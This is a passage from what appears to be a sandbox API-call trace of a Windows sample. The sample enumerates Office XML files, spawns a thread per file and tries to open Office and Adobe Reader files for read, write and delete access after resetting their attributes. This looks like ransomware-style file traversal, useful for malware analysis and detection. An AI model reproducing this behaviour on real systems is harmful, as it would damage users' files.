lpThreadId=0x0) returned 0x12e4 [0168.350] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fc44d00, ftCreationTime.dwHighDateTime=0x1c6b4fb, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fc44d00, ftLastWriteTime.dwHighDateTime=0x1c6b4fb, nFileSizeHigh=0x0, nFileSizeLow=0xa246, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN090.XML", cAlternateFileName="")) returned 1 [0168.350] wcscmp (_String1="PGMN090.XML", _String2=".") returned 1 [0168.350] wcscmp (_String1="PGMN090.XML", _String2="..") returned 1 [0168.350] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x12c518d0 [0168.350] wcscpy (in: _Dest=0x12c518d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0168.350] wcscat (in: _Dest=0x12c518d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0168.350] wcscat (in: _Dest=0x12c518d0, _Source="PGMN090.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN090.XML" [0169.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c518d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1424 [0169.637] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63d7f300, ftCreationTime.dwHighDateTime=0x1c67971, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63d7f300, ftLastWriteTime.dwHighDateTime=0x1c67971, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN092.XML", cAlternateFileName="")) returned 1 [0169.637] wcscmp (_String1="PGMN092.XML", _String2=".") returned 1 [0169.637] wcscmp (_String1="PGMN092.XML", _String2="..") returned 1 [0169.637] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b73a0 [0169.637] wcscpy (in: _Dest=0xd4b73a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.638] wcscat (in: _Dest=0xd4b73a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.638] wcscat (in: _Dest=0xd4b73a0, _Source="PGMN092.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN092.XML" [0169.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b73a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa0 [0169.639] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5677c900, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5677c900, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x7aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN095.XML", cAlternateFileName="")) returned 1 [0169.639] wcscmp (_String1="PGMN095.XML", _String2=".") returned 1 [0169.639] wcscmp (_String1="PGMN095.XML", _String2="..") returned 1 [0169.639] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7758 [0169.639] wcscpy (in: _Dest=0xd4b7758, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.639] wcscat (in: _Dest=0xd4b7758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.639] wcscat (in: _Dest=0xd4b7758, _Source="PGMN095.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN095.XML" [0169.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa4 [0169.640] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6daa00, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6daa00, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x77c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN096.XML", cAlternateFileName="")) returned 1 [0169.640] wcscmp (_String1="PGMN096.XML", _String2=".") returned 1 [0169.640] wcscmp (_String1="PGMN096.XML", _String2="..") returned 1 [0169.640] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7978 [0169.641] wcscpy (in: _Dest=0xd4b7978, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.641] wcscat (in: _Dest=0xd4b7978, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.641] wcscat (in: _Dest=0xd4b7978, _Source="PGMN096.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN096.XML" [0169.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aa8 [0169.642] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7ad200, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf7ad200, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0x11424, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN097.XML", cAlternateFileName="")) returned 1 [0169.642] wcscmp (_String1="PGMN097.XML", _String2=".") returned 1 [0169.642] wcscmp (_String1="PGMN097.XML", _String2="..") returned 1 [0169.642] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7a00 [0169.642] wcscpy (in: _Dest=0xd4b7a00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.642] wcscat (in: _Dest=0xd4b7a00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.642] wcscat (in: _Dest=0xd4b7a00, _Source="PGMN097.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN097.XML" [0169.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aac [0169.643] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9d600, ftCreationTime.dwHighDateTime=0x1c6c5a1, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x96f9d600, ftLastWriteTime.dwHighDateTime=0x1c6c5a1, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN102.XML", cAlternateFileName="")) returned 1 [0169.643] wcscmp (_String1="PGMN102.XML", _String2=".") returned 1 [0169.643] wcscmp (_String1="PGMN102.XML", _String2="..") returned 1 [0169.643] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7a88 [0169.643] wcscpy (in: _Dest=0xd4b7a88, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.643] wcscat (in: _Dest=0xd4b7a88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.643] wcscat (in: _Dest=0xd4b7a88, _Source="PGMN102.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN102.XML" [0169.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7a88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e0 [0169.645] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55662300, ftCreationTime.dwHighDateTime=0x1ca0f14, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55662300, ftLastWriteTime.dwHighDateTime=0x1ca0f14, nFileSizeHigh=0x0, nFileSizeLow=0xde0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN103.XML", cAlternateFileName="")) returned 1 [0169.645] wcscmp (_String1="PGMN103.XML", _String2=".") returned 1 [0169.645] wcscmp (_String1="PGMN103.XML", _String2="..") returned 1 [0169.645] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7b10 [0169.645] wcscpy (in: _Dest=0xd4b7b10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.645] wcscat (in: _Dest=0xd4b7b10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.645] wcscat (in: _Dest=0xd4b7b10, _Source="PGMN103.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN103.XML" [0169.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab0 [0169.646] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0xff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN105.XML", cAlternateFileName="")) returned 1 [0169.646] wcscmp (_String1="PGMN105.XML", _String2=".") returned 1 [0169.646] wcscmp (_String1="PGMN105.XML", _String2="..") returned 1 [0169.646] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7b98 [0169.646] wcscpy (in: _Dest=0xd4b7b98, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.646] wcscat (in: _Dest=0xd4b7b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.646] wcscat (in: _Dest=0xd4b7b98, _Source="PGMN105.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN105.XML" [0169.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab4 [0169.660] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b6fc00, ftCreationTime.dwHighDateTime=0x1c9fa26, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7b6fc00, ftLastWriteTime.dwHighDateTime=0x1c9fa26, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN107.XML", cAlternateFileName="")) returned 1 [0169.660] wcscmp (_String1="PGMN107.XML", _String2=".") returned 1 [0169.660] wcscmp (_String1="PGMN107.XML", _String2="..") returned 1 [0169.661] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7c20 [0169.661] wcscpy (in: _Dest=0xd4b7c20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.661] wcscat (in: _Dest=0xd4b7c20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.661] wcscat (in: _Dest=0xd4b7c20, _Source="PGMN107.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN107.XML" [0169.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab8 [0169.662] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e92800, ftCreationTime.dwHighDateTime=0x1c9f4a1, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82e92800, ftLastWriteTime.dwHighDateTime=0x1c9f4a1, nFileSizeHigh=0x0, nFileSizeLow=0x34d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN108.XML", cAlternateFileName="")) returned 1 [0169.662] wcscmp (_String1="PGMN108.XML", _String2=".") returned 1 [0169.662] wcscmp (_String1="PGMN108.XML", _String2="..") returned 1 [0169.662] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7ca8 [0169.662] wcscpy (in: _Dest=0xd4b7ca8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.662] wcscat (in: _Dest=0xd4b7ca8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.662] wcscat (in: _Dest=0xd4b7ca8, _Source="PGMN108.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN108.XML" [0169.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1abc [0169.669] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x908ec600, ftCreationTime.dwHighDateTime=0x1ca14c1, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x908ec600, ftLastWriteTime.dwHighDateTime=0x1ca14c1, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN109.XML", cAlternateFileName="")) returned 1 [0169.669] wcscmp (_String1="PGMN109.XML", _String2=".") returned 1 [0169.669] wcscmp (_String1="PGMN109.XML", _String2="..") returned 1 [0169.669] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7d30 [0169.669] wcscpy (in: _Dest=0xd4b7d30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.669] wcscat (in: _Dest=0xd4b7d30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.669] wcscat (in: _Dest=0xd4b7d30, _Source="PGMN109.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN109.XML" [0169.669] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac0 [0169.670] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf7900, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf7900, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xcae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN110.XML", cAlternateFileName="")) returned 1 [0169.670] wcscmp (_String1="PGMN110.XML", _String2=".") returned 1 [0169.670] wcscmp (_String1="PGMN110.XML", _String2="..") returned 1 [0169.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7db8 [0169.670] wcscpy (in: _Dest=0xd4b7db8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.670] wcscat (in: _Dest=0xd4b7db8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.670] wcscat (in: _Dest=0xd4b7db8, _Source="PGMN110.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN110.XML" [0169.670] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7db8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac4 [0169.672] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6900a600, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6900a600, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x45792, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN111.XML", cAlternateFileName="")) returned 1 [0169.672] wcscmp (_String1="PGMN111.XML", _String2=".") returned 1 [0169.672] wcscmp (_String1="PGMN111.XML", _String2="..") returned 1 [0169.672] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0xd4b7e40 [0169.672] wcscpy (in: _Dest=0xd4b7e40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.672] wcscat (in: _Dest=0xd4b7e40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.672] wcscat (in: _Dest=0xd4b7e40, _Source="PGMN111.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN111.XML" [0169.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4b7e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac8 [0169.673] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3aa00, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89d3aa00, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x878c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PG_INDEX.XML", cAlternateFileName="")) returned 1 [0169.673] wcscmp (_String1="PG_INDEX.XML", _String2=".") returned 1 [0169.673] wcscmp (_String1="PG_INDEX.XML", _String2="..") returned 1 [0169.673] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8498 [0169.673] wcscpy (in: _Dest=0x8e8498, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0169.673] wcscat (in: _Dest=0x8e8498, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0169.673] wcscat (in: _Dest=0x8e8498, _Source="PG_INDEX.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PG_INDEX.XML" [0169.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1acc [0169.674] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3aa00, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89d3aa00, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x878c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PG_INDEX.XML", cAlternateFileName="")) returned 0 [0169.675] FindClose (in: hFindFile=0x8da4d0 | out: hFindFile=0x8da4d0) returned 1 [0169.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91f968) returned 1 [0169.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bdb0) returned 1 [0169.675] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1528) returned 1 Thread: id = 5010 os_tid = 0xe24 [0162.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest")) returned 0x20 [0164.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest", dwFileAttributes=0x20) returned 0 [0164.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\powerpnt.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.679] GetLastError () returned 0x5 [0164.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\powerpnt.exe.manifest", dwFileAttributes=0x20) returned 0 [0164.680] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7298) returned 1 Thread: id = 5022 os_tid = 0x9d4 [0162.728] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun")) returned 0x20 [0162.728] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN", dwFileAttributes=0x20) returned 0 [0162.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\WindowsMedia.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_hun\\windowsmedia.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0162.728] GetLastError () returned 0x5 [0162.728] SetFileAttributesW (lpFileName="C:\\Program Files 